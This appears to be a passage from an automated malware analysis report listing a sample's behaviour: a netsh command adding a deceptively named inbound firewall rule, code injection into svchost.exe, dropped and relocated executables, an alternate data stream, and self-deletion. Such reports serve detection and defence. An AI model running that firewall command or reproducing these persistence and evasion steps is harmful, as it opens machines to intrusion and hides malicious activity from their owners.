- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bwdazwst.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bwdazwst.exe to %WINDIR%\syswow64\smuvgogf\bwdazwst.exe
Deletes itself.
